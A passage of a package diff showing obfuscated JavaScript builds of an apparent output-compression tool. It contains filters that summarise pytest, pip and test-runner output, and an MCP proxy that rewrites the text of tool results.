_0x397799=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x2473be=_0x5e8f97['match'](/(\d+)\s+failed/),_0x51c03b=_0x5e8f97[_0x18074f(0xdd)](/(\d+)\s+total/);if(_0x397799)_0x54e5de=parseInt(_0x397799[0x1]);if(_0x2473be)_0x20f83a=parseInt(_0x2473be[0x1]);if(_0x51c03b)_0x5269f3=parseInt(_0x51c03b[0x1]);continue;}(_0x5e8f97[_0x18074f(0xc8)]('❯')||_0x5e8f97[_0x18074f(0xc8)]('●')||_0x5e8f97[_0x18074f(0xc8)]('FAIL\x20\x20'))&&(_0x11febf=!![]),_0x11febf&&(_0x5e8f97[_0x18074f(0xc0)]>0x0&&!_0x5e8f97[_0x18074f(0xc8)]('Test\x20Suites:')&&!_0x5e8f97['startsWith']('Tests:')&&_0x5ff156['push'](_0xb8bb7c));}if(_0x5269f3===0x0&&_0x54e5de===0x0&&_0x20f83a===0x0){if(_0x41a26f[_0x18074f(0xc6)]('PASS')&&!_0x41a26f['includes'](_0x18074f(0xd6))){const _0x5e97cb=_0x41a26f[_0x18074f(0xdd)](/(\d+)\s+passed/),_0x15f7a1=_0x5e97cb?_0x5e97cb[0x1]:_0x18074f(0xc4);return _0x18074f(0xd9)+_0x15f7a1+_0x18074f(0xd0);}return _0x41a26f;}if(_0x20f83a===0x0&&_0x54e5de>0x0)return'Test\x20Runner:\x20'+_0x54e5de+_0x18074f(0xd0);const _0x16cf6d=[_0x18074f(0xd9)+_0x54e5de+_0x18074f(0xdb)+_0x20f83a+_0x18074f(0xbf)+_0x5269f3+'\x20total)'];if(_0x5ff156['length']>0x0){_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xd5));const _0x4c5c89=0x19,_0x1e28eb=_0x5ff156[_0x18074f(0xcc)](0x0,_0x4c5c89);for(const _0x576c63 of _0x1e28eb){_0x16cf6d['push']('\x20\x20'+_0x576c63);}_0x5ff156[_0x18074f(0xc0)]>_0x4c5c89&&_0x16cf6d[_0x18074f(0xc5)](_0x18074f(0xcb)+(_0x5ff156['length']-_0x4c5c89)+_0x18074f(0xc9));}return _0x16cf6d[_0x18074f(0xd8)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x154a57=a0_0x181b;(function(_0x160bcc,_0x83f282){const _0x53d181=a0_0x181b,_0x4b7810=_0x160bcc();while(!![]){try{const _0x1a7549=-parseInt(_0x53d181(0x97))/0x1*(parseInt(_0x53d181(0x80))/0x2)+-parseInt(_0x53d181(0x79))/0x3*(-parseInt(_0x53d181(0x6e))/0x4)+parseInt(_0x53d181(0x8a))/0x5*(parseInt(_0x53d181(0x83))/0x6)+parseInt(_0x53d181(0x94))/0x7*(parseInt(_0x53d181(0x8c))/0x8)+-parseInt(_0x53d181(0x78))/0x9*(parseInt(_0x53d181(0x95))/0xa)+parseInt(_0x53d181(0x84))/0xb*(parseInt(_0x53d181(0x75))/0xc)+-parseInt(_0x53d181(0x89))/0xd;if(_0x1a7549===_0x83f282)break;else _0x4b7810['push'](_0x4b7810['shift']());}catch(_0xb57352){_0x4b7810['push'](_0x4b7810['shift']());}}}(a0_0x453e,0xec414));function a0_0x181b(_0x5a00a3,_0x411296){_0x5a00a3=_0x5a00a3-0x6e;const _0x453e5c=a0_0x453e();let _0x181bd2=_0x453e5c[_0x5a00a3];return _0x181bd2;}function a0_0x453e(){const _0x2e8578=['failed','___','4jHdLlG','slice','includes','\x20\x20...\x20+','Successfully\x20installed','match','\x20\x20\x20\x20...\x20(','532332dDGsRi','startsWith','E\x20\x20\x20','9TTqZJV','350976jrohiw','replace','Requirement\x20already\x20satisfied','length','===\x20short\x20test\x20summary\x20info\x20===','===\x20ERRORS\x20===','\x20xfailed','386ZBFrCd','split','.py:','12mTvNSb','132IkcFZP','\x20more\x20failures\x20truncated','\x20passed','Collecting','Downloading','24215074ZSBKzY','3810565dauLWf','\x20failed','6595576VFTKkZ','push','AssertionError:','Using\x20cached','\x20xpassed\x20(warning!)','.\x20[FAIL]\x20','Pytest:\x20','trim','7ClWAdp','1172260PrCISL','filterPytest','261rHtXAq','\x20in\x20','===','join','passed','filter','\x20\x20\x20\x20'];a0_0x453e=function(){return _0x2e8578;};return a0_0x453e();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x154a57(0x96)]=filterPytest,exports['filterPipInstall']=filterPipInstall;function filterPytest(_0x2ea612){const _0x655ca4=a0_0x154a57,_0x1fd485=_0x2ea612['split']('\x0a');let _0x3603b0=0x0,_0x59059e=0x0,_0x342876=0x0,_0x56380c=0x0,_0xab70de=0x0;const _0x298911=[];let _0x2d1985=[],_0x5de16a=![];for(const _0x4ab5ef of _0x1fd485){const _0x24fb27=_0x4ab5ef[_0x655ca4(0x93)]();if(_0x24fb27['startsWith']('===\x20FAILURES\x20===')||_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x7e))){_0x5de16a=!![];continue;}else(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x7d))||_0x24fb27['startsWith'](_0x655ca4(0x99))&&_0x24fb27[_0x655ca4(0x70)](_0x655ca4(0x9b)))&&(_0x5de16a=![],_0x2d1985[_0x655ca4(0x7c)]>0x0&&(_0x298911[_0x655ca4(0x8d)](_0x2d1985),_0x2d1985=[]));if(_0x5de16a){if(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x9f)))_0x2d1985[_0x655ca4(0x7c)]>0x0&&(_0x298911['push'](_0x2d1985),_0x2d1985=[]),_0x2d1985['push'](_0x24fb27);else _0x24fb27['length']>0x0&&_0x2d1985[_0x655ca4(0x8d)](_0x4ab5ef);continue;}if(_0x24fb27[_0x655ca4(0x76)](_0x655ca4(0x99))&&_0x24fb27[_0x655ca4(0x70)](_0x655ca4(0x98))){const _0x337707=_0x24fb27['match'](/(\d+)\s+passed/),_0x5749a5=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+failed/),_0x2ba780=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+skipped/),_0x149b3c=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+xfailed/),_0x29b839=_0x24fb27[_0x655ca4(0x73)](/(\d+)\s+xpassed/);if(_0x337707)_0x3603b0=parseInt(_0x337707[0x1]);if(_0x5749a5)_0x59059e=parseInt(_0x5749a5[0x1]);if(_0x2ba780)_0x342876=parseInt(_0x2ba780[0x1]);if(_0x149b3c)_0x56380c=parseInt(_0x149b3c[0x1]);if(_0x29b839)_0xab70de=parseInt(_0x29b839[0x1]);}}_0x2d1985[_0x655ca4(0x7c)]>0x0&&_0x298911[_0x655ca4(0x8d)](_0x2d1985);if(_0x3603b0===0x0&&_0x59059e===0x0&&_0x342876===0x0&&_0x56380c===0x0&&_0xab70de===0x0){if(_0x2ea612[_0x655ca4(0x70)](_0x655ca4(0x9b))&&!_0x2ea612[_0x655ca4(0x70)](_0x655ca4(0x9e)))return'Pytest:\x20All\x20tests\x20passed';return _0x2ea612;}if(_0x59059e===0x0&&_0x3603b0>0x0&&_0x342876===0x0&&_0x56380c===0x0&&_0xab70de===0x0)return _0x655ca4(0x92)+_0x3603b0+_0x655ca4(0x86);const _0x36b20d=[];_0x36b20d[_0x655ca4(0x8d)](_0x655ca4(0x92)+_0x3603b0+_0x655ca4(0x86));if(_0x59059e>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x59059e+_0x655ca4(0x8b));if(_0x342876>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x342876+'\x20skipped');if(_0x56380c>0x0)_0x36b20d[_0x655ca4(0x8d)](_0x56380c+_0x655ca4(0x7f));if(_0xab70de>0x0)_0x36b20d[_0x655ca4(0x8d)](_0xab70de+_0x655ca4(0x90));const _0x461c60=[_0x36b20d[_0x655ca4(0x9a)](',\x20')];if(_0x298911['length']>0x0){_0x461c60[_0x655ca4(0x8d)]('\x0aFailures:');const _0x2afa73=0x3,_0x48a9db=_0x298911['slice'](0x0,_0x2afa73);for(let _0x4cd06d=0x0;_0x4cd06d<_0x48a9db['length'];_0x4cd06d++){const _0xceb07=_0x48a9db[_0x4cd06d],_0x590708=_0xceb07[0x0][_0x655ca4(0x7a)](/_/g,'')['trim']();_0x461c60['push']('\x20\x20'+(_0x4cd06d+0x1)+_0x655ca4(0x91)+_0x590708);const _0x449189=_0xceb07['slice'](0x1),_0x5d5477=_0x449189[_0x655ca4(0x9c)](_0x47ca41=>{const _0x313e4a=_0x655ca4,_0x135216=_0x47ca41[_0x313e4a(0x93)]();return _0x135216[_0x313e4a(0x76)]('>')||_0x135216['startsWith'](_0x313e4a(0x77))||_0x135216[_0x313e4a(0x70)](_0x313e4a(0x82))||_0x135216[_0x313e4a(0x70)](_0x313e4a(0x8e));});for(const _0xb30f13 of _0x5d5477[_0x655ca4(0x6f)](0x0,0x8)){_0x461c60[_0x655ca4(0x8d)](_0x655ca4(0x9d)+_0xb30f13);}_0x5d5477['length']>0x8&&_0x461c60[_0x655ca4(0x8d)](_0x655ca4(0x74)+(_0x5d5477['length']-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x298911['length']>_0x2afa73&&_0x461c60['push'](_0x655ca4(0x71)+(_0x298911[_0x655ca4(0x7c)]-_0x2afa73)+_0x655ca4(0x85));}return _0x461c60['join']('\x0a');}function filterPipInstall(_0x5d6cdd){const _0x3bb8f5=a0_0x154a57,_0x251e29=_0x5d6cdd[_0x3bb8f5(0x81)]('\x0a'),_0x218eb9=[];for(const _0x15ab09 of _0x251e29){const _0x2a6566=_0x15ab09[_0x3bb8f5(0x93)]();_0x2a6566[_0x3bb8f5(0x76)](_0x3bb8f5(0x72))&&_0x218eb9[_0x3bb8f5(0x8d)](_0x2a6566);}if(_0x218eb9[_0x3bb8f5(0x7c)]>0x0)return _0x218eb9['join']('\x0a');return _0x251e29['filter'](_0x3635a0=>{const _0x4744a3=_0x3bb8f5,_0x2b5b3b=_0x3635a0[_0x4744a3(0x93)]();return!_0x2b5b3b[_0x4744a3(0x76)](_0x4744a3(0x87))&&!_0x2b5b3b['startsWith'](_0x4744a3(0x88))&&!_0x2b5b3b[_0x4744a3(0x70)](_0x4744a3(0x8f))&&!_0x2b5b3b[_0x4744a3(0x76)](_0x4744a3(0x7b));})[_0x3bb8f5(0x9a)]('\x0a')[_0x3bb8f5(0x93)]();}
1
+ 'use strict';const a0_0x493b62=a0_0x4a50;(function(_0x4ace56,_0xdc206b){const _0x323d61=a0_0x4a50,_0x31afc2=_0x4ace56();while(!![]){try{const _0x21a644=parseInt(_0x323d61(0x7f))/0x1+parseInt(_0x323d61(0x73))/0x2+-parseInt(_0x323d61(0x86))/0x3+-parseInt(_0x323d61(0x89))/0x4*(parseInt(_0x323d61(0x83))/0x5)+-parseInt(_0x323d61(0x95))/0x6*(-parseInt(_0x323d61(0x93))/0x7)+parseInt(_0x323d61(0x72))/0x8+parseInt(_0x323d61(0x70))/0x9;if(_0x21a644===_0xdc206b)break;else _0x31afc2['push'](_0x31afc2['shift']());}catch(_0x431488){_0x31afc2['push'](_0x31afc2['shift']());}}}(a0_0x6240,0xba6a6));Object[a0_0x493b62(0x82)](exports,a0_0x493b62(0x8a),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x493b62(0x88)]=filterPipInstall;function filterPytest(_0x388c03){const _0x540429=a0_0x493b62,_0x27fe0e=_0x388c03[_0x540429(0x7b)]('\x0a');let _0xded5a7=0x0,_0x413983=0x0,_0x26e28a=0x0,_0x1c88a4=0x0,_0x528626=0x0;const _0x129c1f=[];let _0x6488db=[],_0x206c65=![];for(const _0x4e4b3b of _0x27fe0e){const _0x350178=_0x4e4b3b[_0x540429(0x71)]();if(_0x350178['startsWith'](_0x540429(0x80))||_0x350178[_0x540429(0x7d)](_0x540429(0x75))){_0x206c65=!![];continue;}else(_0x350178[_0x540429(0x7d)](_0x540429(0x8d))||_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x81)))&&(_0x206c65=![],_0x6488db['length']>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]));if(_0x206c65){if(_0x350178[_0x540429(0x7d)](_0x540429(0x87)))_0x6488db[_0x540429(0x77)]>0x0&&(_0x129c1f[_0x540429(0x7e)](_0x6488db),_0x6488db=[]),_0x6488db['push'](_0x350178);else _0x350178[_0x540429(0x77)]>0x0&&_0x6488db[_0x540429(0x7e)](_0x4e4b3b);continue;}if(_0x350178[_0x540429(0x7d)](_0x540429(0x96))&&_0x350178[_0x540429(0x6f)](_0x540429(0x6c))){const _0x545444=_0x350178[_0x540429(0x6b)](/(\d+)\s+passed/),_0x4c901e=_0x350178[_0x540429(0x6b)](/(\d+)\s+failed/),_0x3d33e9=_0x350178[_0x540429(0x6b)](/(\d+)\s+skipped/),_0x5f1b0d=_0x350178[_0x540429(0x6b)](/(\d+)\s+xfailed/),_0x2a460d=_0x350178['match'](/(\d+)\s+xpassed/);if(_0x545444)_0xded5a7=parseInt(_0x545444[0x1]);if(_0x4c901e)_0x413983=parseInt(_0x4c901e[0x1]);if(_0x3d33e9)_0x26e28a=parseInt(_0x3d33e9[0x1]);if(_0x5f1b0d)_0x1c88a4=parseInt(_0x5f1b0d[0x1]);if(_0x2a460d)_0x528626=parseInt(_0x2a460d[0x1]);}}_0x6488db[_0x540429(0x77)]>0x0&&_0x129c1f[_0x540429(0x7e)](_0x6488db);if(_0xded5a7===0x0&&_0x413983===0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0){if(_0x388c03[_0x540429(0x6f)](_0x540429(0x81))&&!_0x388c03[_0x540429(0x6f)](_0x540429(0x90)))return _0x540429(0x8b);return _0x388c03;}if(_0x413983===0x0&&_0xded5a7>0x0&&_0x26e28a===0x0&&_0x1c88a4===0x0&&_0x528626===0x0)return _0x540429(0x6d)+_0xded5a7+'\x20passed';const _0x324e4c=[];_0x324e4c[_0x540429(0x7e)](_0x540429(0x6d)+_0xded5a7+_0x540429(0x6e));if(_0x413983>0x0)_0x324e4c[_0x540429(0x7e)](_0x413983+_0x540429(0x7c));if(_0x26e28a>0x0)_0x324e4c['push'](_0x26e28a+_0x540429(0x7a));if(_0x1c88a4>0x0)_0x324e4c[_0x540429(0x7e)](_0x1c88a4+_0x540429(0x94));if(_0x528626>0x0)_0x324e4c[_0x540429(0x7e)](_0x528626+_0x540429(0x84));const _0x2b4a6d=[_0x324e4c[_0x540429(0x6a)](',\x20')];if(_0x129c1f[_0x540429(0x77)]>0x0){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x85));const _0x3788fb=0x3,_0x92b52b=_0x129c1f[_0x540429(0x92)](0x0,_0x3788fb);for(let _0x5d99a7=0x0;_0x5d99a7<_0x92b52b[_0x540429(0x77)];_0x5d99a7++){const _0x46b5ed=_0x92b52b[_0x5d99a7],_0x5e714a=_0x46b5ed[0x0][_0x540429(0x91)](/_/g,'')[_0x540429(0x71)]();_0x2b4a6d[_0x540429(0x7e)]('\x20\x20'+(_0x5d99a7+0x1)+_0x540429(0x68)+_0x5e714a);const _0x356efb=_0x46b5ed['slice'](0x1),_0x5358d4=_0x356efb['filter'](_0xf0e7c4=>{const _0x67c93d=_0x540429,_0x5d2757=_0xf0e7c4['trim']();return _0x5d2757[_0x67c93d(0x7d)]('>')||_0x5d2757[_0x67c93d(0x7d)](_0x67c93d(0x67))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8f))||_0x5d2757[_0x67c93d(0x6f)](_0x67c93d(0x8c));});for(const _0x11ded0 of _0x5358d4['slice'](0x0,0x8)){_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x69)+_0x11ded0);}_0x5358d4['length']>0x8&&_0x2b4a6d['push'](_0x540429(0x98)+(_0x5358d4['length']-0x8)+_0x540429(0x66));}_0x129c1f[_0x540429(0x77)]>_0x3788fb&&_0x2b4a6d[_0x540429(0x7e)](_0x540429(0x97)+(_0x129c1f['length']-_0x3788fb)+_0x540429(0x79));}return _0x2b4a6d[_0x540429(0x6a)]('\x0a');}function filterPipInstall(_0x5bd50f){const _0x130ca8=a0_0x493b62,_0x3fc82a=_0x5bd50f[_0x130ca8(0x7b)]('\x0a'),_0x3e3815=[];for(const _0x37d625 of _0x3fc82a){const _0x3894f3=_0x37d625[_0x130ca8(0x71)]();_0x3894f3['startsWith'](_0x130ca8(0x78))&&_0x3e3815[_0x130ca8(0x7e)](_0x3894f3);}if(_0x3e3815['length']>0x0)return _0x3e3815[_0x130ca8(0x6a)]('\x0a');return _0x3fc82a[_0x130ca8(0x8e)](_0x5c5059=>{const _0x9f01e1=_0x130ca8,_0x3a500d=_0x5c5059[_0x9f01e1(0x71)]();return!_0x3a500d[_0x9f01e1(0x7d)]('Collecting')&&!_0x3a500d[_0x9f01e1(0x7d)](_0x9f01e1(0x74))&&!_0x3a500d['includes']('Using\x20cached')&&!_0x3a500d['startsWith'](_0x9f01e1(0x76));})[_0x130ca8(0x6a)]('\x0a')[_0x130ca8(0x71)]();}function a0_0x4a50(_0x57f3d9,_0x80870a){_0x57f3d9=_0x57f3d9-0x66;const _0x62401e=a0_0x6240();let _0x4a5019=_0x62401e[_0x57f3d9];return _0x4a5019;}function a0_0x6240(){const _0x3e47f6=['length','Successfully\x20installed','\x20more\x20failures\x20truncated','\x20skipped','split','\x20failed','startsWith','push','249028yaNVKN','===\x20FAILURES\x20===','passed','defineProperty','235480yMEssD','\x20xpassed\x20(warning!)','\x0aFailures:','3854001AYcWbL','___','filterPipInstall','108MqKVEi','__esModule','Pytest:\x20All\x20tests\x20passed','AssertionError:','===\x20short\x20test\x20summary\x20info\x20===','filter','.py:','failed','replace','slice','14zkbdFd','\x20xfailed','574842TgazNL','===','\x20\x20...\x20+','\x20\x20\x20\x20...\x20(','\x20lines\x20of\x20stacktrace\x20truncated)','E\x20\x20\x20','.\x20[FAIL]\x20','\x20\x20\x20\x20','join','match','\x20in\x20','Pytest:\x20','\x20passed','includes','13797405FhHzeX','trim','4221088LKIxxp','1636988JHbTzr','Downloading','===\x20ERRORS\x20===','Requirement\x20already\x20satisfied'];a0_0x6240=function(){return _0x3e47f6;};return a0_0x6240();}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x36e3c8=a0_0x5ae4;function a0_0x5ae4(_0x58656c,_0x199860){_0x58656c=_0x58656c-0x1b2;const _0x314fc6=a0_0x314f();let _0x5ae4eb=_0x314fc6[_0x58656c];return _0x5ae4eb;}(function(_0x436220,_0xacc0fb){const _0x19398c=a0_0x5ae4,_0x42bb6e=_0x436220();while(!![]){try{const _0x35677f=parseInt(_0x19398c(0x1b7))/0x1*(-parseInt(_0x19398c(0x1c1))/0x2)+parseInt(_0x19398c(0x1dc))/0x3*(parseInt(_0x19398c(0x1b4))/0x4)+parseInt(_0x19398c(0x1c3))/0x5*(parseInt(_0x19398c(0x1b2))/0x6)+parseInt(_0x19398c(0x1b5))/0x7+parseInt(_0x19398c(0x1cb))/0x8+-parseInt(_0x19398c(0x1d2))/0x9+-parseInt(_0x19398c(0x1b6))/0xa;if(_0x35677f===_0xacc0fb)break;else _0x42bb6e['push'](_0x42bb6e['shift']());}catch(_0x2c74d1){_0x42bb6e['push'](_0x42bb6e['shift']());}}}(a0_0x314f,0xaf46f));var __createBinding=this&&this['__createBinding']||(Object[a0_0x36e3c8(0x1de)]?function(_0x196236,_0x42cf0f,_0x5491d8,_0x502089){const _0x4a16b1=a0_0x36e3c8;if(_0x502089===undefined)_0x502089=_0x5491d8;var _0x147a5d=Object['getOwnPropertyDescriptor'](_0x42cf0f,_0x5491d8);(!_0x147a5d||(_0x4a16b1(0x1c5)in _0x147a5d?!_0x42cf0f[_0x4a16b1(0x1b9)]:_0x147a5d[_0x4a16b1(0x1d6)]||_0x147a5d['configurable']))&&(_0x147a5d={'enumerable':!![],'get':function(){return _0x42cf0f[_0x5491d8];}}),Object[_0x4a16b1(0x1c2)](_0x196236,_0x502089,_0x147a5d);}:function(_0x28a6cd,_0x58f50f,_0x5d9b3b,_0x740fbb){if(_0x740fbb===undefined)_0x740fbb=_0x5d9b3b;_0x28a6cd[_0x740fbb]=_0x58f50f[_0x5d9b3b];}),__setModuleDefault=this&&this[a0_0x36e3c8(0x1c6)]||(Object[a0_0x36e3c8(0x1de)]?function(_0x3385fc,_0x126d3c){const _0x5a7cb6=a0_0x36e3c8;Object[_0x5a7cb6(0x1c2)](_0x3385fc,'default',{'enumerable':!![],'value':_0x126d3c});}:function(_0x1ff4b8,_0x168921){const _0x1c3757=a0_0x36e3c8;_0x1ff4b8[_0x1c3757(0x1d4)]=_0x168921;}),__importStar=this&&this[a0_0x36e3c8(0x1d0)]||(function(){var _0x44e817=function(_0x256285){const _0x5b65cf=a0_0x5ae4;return _0x44e817=Object[_0x5b65cf(0x1e0)]||function(_0x179e25){const _0x387e42=_0x5b65cf;var _0x2fea9a=[];for(var _0x288c01 in _0x179e25)if(Object[_0x387e42(0x1bd)]['hasOwnProperty'][_0x387e42(0x1ca)](_0x179e25,_0x288c01))_0x2fea9a[_0x2fea9a[_0x387e42(0x1df)]]=_0x288c01;return _0x2fea9a;},_0x44e817(_0x256285);};return function(_0x816d89){const _0x242eaa=a0_0x5ae4;if(_0x816d89&&_0x816d89[_0x242eaa(0x1b9)])return _0x816d89;var _0x2d51d4={};if(_0x816d89!=null){for(var _0x5d17d6=_0x44e817(_0x816d89),_0x58a16c=0x0;_0x58a16c<_0x5d17d6['length'];_0x58a16c++)if(_0x5d17d6[_0x58a16c]!==_0x242eaa(0x1d4))__createBinding(_0x2d51d4,_0x816d89,_0x5d17d6[_0x58a16c]);}return __setModuleDefault(_0x2d51d4,_0x816d89),_0x2d51d4;};}());Object[a0_0x36e3c8(0x1c2)](exports,a0_0x36e3c8(0x1b9),{'value':!![]}),exports[a0_0x36e3c8(0x1dd)]=runMcpProxy;const child_process_1=require(a0_0x36e3c8(0x1b8)),readline=__importStar(require(a0_0x36e3c8(0x1d8))),filters_1=require(a0_0x36e3c8(0x1c8)),tracker_1=require(a0_0x36e3c8(0x1e1));function runMcpProxy(_0x4ee5c4,_0x8df5f){const _0x10e2c6=a0_0x36e3c8,_0x272938=(0x0,child_process_1[_0x10e2c6(0x1c9)])(_0x4ee5c4,_0x8df5f,{'stdio':[_0x10e2c6(0x1d7),_0x10e2c6(0x1d7),_0x10e2c6(0x1ba)]});process['stdin']['pipe'](_0x272938['stdin']);const _0x1e1118=readline[_0x10e2c6(0x1e4)]({'input':_0x272938[_0x10e2c6(0x1d5)],'terminal':![]});_0x1e1118['on'](_0x10e2c6(0x1ce),_0x445b76=>{const _0x400604=_0x10e2c6;try{const _0x4f08a1=JSON[_0x400604(0x1b3)](_0x445b76);if(_0x4f08a1&&_0x4f08a1[_0x400604(0x1cc)]==='2.0'&&_0x4f08a1['id']!==undefined&&_0x4f08a1['result']&&Array['isArray'](_0x4f08a1['result'][_0x400604(0x1bf)])){let _0x10b414=![];for(const _0x3c2b29 of _0x4f08a1[_0x400604(0x1db)][_0x400604(0x1bf)]){if(_0x3c2b29['type']===_0x400604(0x1be)&&typeof _0x3c2b29['text']==='string'&&_0x3c2b29[_0x400604(0x1be)][_0x400604(0x1e3)]()['length']>0x0){const _0x14a99c=_0x3c2b29[_0x400604(0x1be)],_0x21a56e=(0x0,filters_1[_0x400604(0x1c0)])(_0x400604(0x1e2),_0x14a99c,'',tracker_1[_0x400604(0x1d1)]['getConfig']()[_0x400604(0x1c7)]);tracker_1[_0x400604(0x1d1)][_0x400604(0x1bc)]('mcp\x20tool\x20(id:\x20'+_0x4f08a1['id']+')',_0x14a99c,_0x21a56e,0x0),_0x3c2b29[_0x400604(0x1be)]=_0x21a56e,_0x10b414=!![];}}_0x10b414?process[_0x400604(0x1d5)][_0x400604(0x1c4)](JSON[_0x400604(0x1cf)](_0x4f08a1)+'\x0a'):process[_0x400604(0x1d5)]['write'](_0x445b76+'\x0a');}else process[_0x400604(0x1d5)]['write'](_0x445b76+'\x0a');}catch{process['stdout']['write'](_0x445b76+'\x0a');}}),_0x272938['on'](_0x10e2c6(0x1cd),_0x44e71b=>{const _0x1d7ea5=_0x10e2c6;process[_0x1d7ea5(0x1da)](_0x44e71b||0x0);}),_0x272938['on'](_0x10e2c6(0x1d3),_0x351a33=>{const _0x10cade=_0x10e2c6;console['error'](_0x10cade(0x1bb)+_0x351a33[_0x10cade(0x1d9)]),process['exit'](0x1);});}function a0_0x314f(){const _0x33838d=['12IsQkPZ','defineProperty','160895sCwXgh','write','get','__setModuleDefault','redaction_enabled','./filters','spawn','call','9449576atJOmW','jsonrpc','close','line','stringify','__importStar','tracker','3401991Djhbeg','error','default','stdout','writable','pipe','readline','message','exit','result','7806xNRZBD','runMcpProxy','create','length','getOwnPropertyNames','./tracker','mcp-tool-call','trim','createInterface','84COOFoy','parse','1572CwPIqZ','7059031XCPveR','22081920wCaSxL','59766wTZFPi','child_process','__esModule','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','prototype','text','content','compressOutput'];a0_0x314f=function(){return _0x33838d;};return a0_0x314f();}
1
+ 'use strict';const a0_0x54c50b=a0_0x235b;(function(_0x2dc762,_0x6dcf5b){const _0x3c3f14=a0_0x235b,_0x4c70d4=_0x2dc762();while(!![]){try{const _0x224bf4=parseInt(_0x3c3f14(0x15a))/0x1+-parseInt(_0x3c3f14(0x154))/0x2*(-parseInt(_0x3c3f14(0x13d))/0x3)+parseInt(_0x3c3f14(0x12b))/0x4*(parseInt(_0x3c3f14(0x131))/0x5)+parseInt(_0x3c3f14(0x13a))/0x6+parseInt(_0x3c3f14(0x13f))/0x7+parseInt(_0x3c3f14(0x138))/0x8*(parseInt(_0x3c3f14(0x12f))/0x9)+-parseInt(_0x3c3f14(0x134))/0xa;if(_0x224bf4===_0x6dcf5b)break;else _0x4c70d4['push'](_0x4c70d4['shift']());}catch(_0x2c449d){_0x4c70d4['push'](_0x4c70d4['shift']());}}}(a0_0x42ca,0x3faeb));function a0_0x235b(_0x9db76a,_0x3c30ad){_0x9db76a=_0x9db76a-0x12b;const _0x42caca=a0_0x42ca();let _0x235b4b=_0x42caca[_0x9db76a];return _0x235b4b;}var __createBinding=this&&this[a0_0x54c50b(0x132)]||(Object[a0_0x54c50b(0x15c)]?function(_0x11c7a9,_0x1e22c0,_0x54701b,_0x1c21e1){const _0x3da4f7=a0_0x54c50b;if(_0x1c21e1===undefined)_0x1c21e1=_0x54701b;var _0x591f43=Object[_0x3da4f7(0x144)](_0x1e22c0,_0x54701b);(!_0x591f43||(_0x3da4f7(0x155)in _0x591f43?!_0x1e22c0[_0x3da4f7(0x13e)]:_0x591f43[_0x3da4f7(0x140)]||_0x591f43[_0x3da4f7(0x157)]))&&(_0x591f43={'enumerable':!![],'get':function(){return _0x1e22c0[_0x54701b];}}),Object['defineProperty'](_0x11c7a9,_0x1c21e1,_0x591f43);}:function(_0x2354cd,_0x4ce6dd,_0x4bd43e,_0x3af808){if(_0x3af808===undefined)_0x3af808=_0x4bd43e;_0x2354cd[_0x3af808]=_0x4ce6dd[_0x4bd43e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x54c50b(0x15c)]?function(_0x475550,_0x324303){const _0x5645b6=a0_0x54c50b;Object['defineProperty'](_0x475550,_0x5645b6(0x14f),{'enumerable':!![],'value':_0x324303});}:function(_0x212916,_0x471e3d){const _0x541250=a0_0x54c50b;_0x212916[_0x541250(0x14f)]=_0x471e3d;}),__importStar=this&&this['__importStar']||(function(){var _0x157e7b=function(_0xaea26a){const _0x2fd262=a0_0x235b;return _0x157e7b=Object[_0x2fd262(0x151)]||function(_0x38afe8){const _0x39deb7=_0x2fd262;var _0x1f9f64=[];for(var _0x417af0 in _0x38afe8)if(Object[_0x39deb7(0x15d)]['hasOwnProperty'][_0x39deb7(0x139)](_0x38afe8,_0x417af0))_0x1f9f64[_0x1f9f64[_0x39deb7(0x149)]]=_0x417af0;return _0x1f9f64;},_0x157e7b(_0xaea26a);};return function(_0x21f177){const _0x496ae5=a0_0x235b;if(_0x21f177&&_0x21f177[_0x496ae5(0x13e)])return _0x21f177;var _0x28be1d={};if(_0x21f177!=null){for(var _0x1e88d0=_0x157e7b(_0x21f177),_0x14a244=0x0;_0x14a244<_0x1e88d0[_0x496ae5(0x149)];_0x14a244++)if(_0x1e88d0[_0x14a244]!=='default')__createBinding(_0x28be1d,_0x21f177,_0x1e88d0[_0x14a244]);}return __setModuleDefault(_0x28be1d,_0x21f177),_0x28be1d;};}());Object[a0_0x54c50b(0x135)](exports,a0_0x54c50b(0x13e),{'value':!![]}),exports['runMcpProxy']=runMcpProxy;function a0_0x42ca(){const _0x553445=['create','prototype','close','getConfig','48cGPRNw','child_process','stdin','mcp\x20tool\x20(id:\x20','1319931FApGwX','error','215685hMtcqo','__createBinding','trim','19901330cdsSgA','defineProperty','message','inherit','8jmzIHw','call','2940582vHEuyv','./filters','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','1998LJSktK','__esModule','2841636UAAPTB','writable','write','jsonrpc','compressOutput','getOwnPropertyDescriptor','createInterface','readline','./tracker','tracker','length','stdout','pipe','2.0','parse','text','default','logExecution','getOwnPropertyNames','mcp-tool-call','type','1356UlATlq','get','string','configurable','exit','content','239080cVczeu','isArray'];a0_0x42ca=function(){return _0x553445;};return a0_0x42ca();}const child_process_1=require(a0_0x54c50b(0x12c)),readline=__importStar(require(a0_0x54c50b(0x146))),filters_1=require(a0_0x54c50b(0x13b)),tracker_1=require(a0_0x54c50b(0x147));function runMcpProxy(_0x1b2c8c,_0x57311b){const 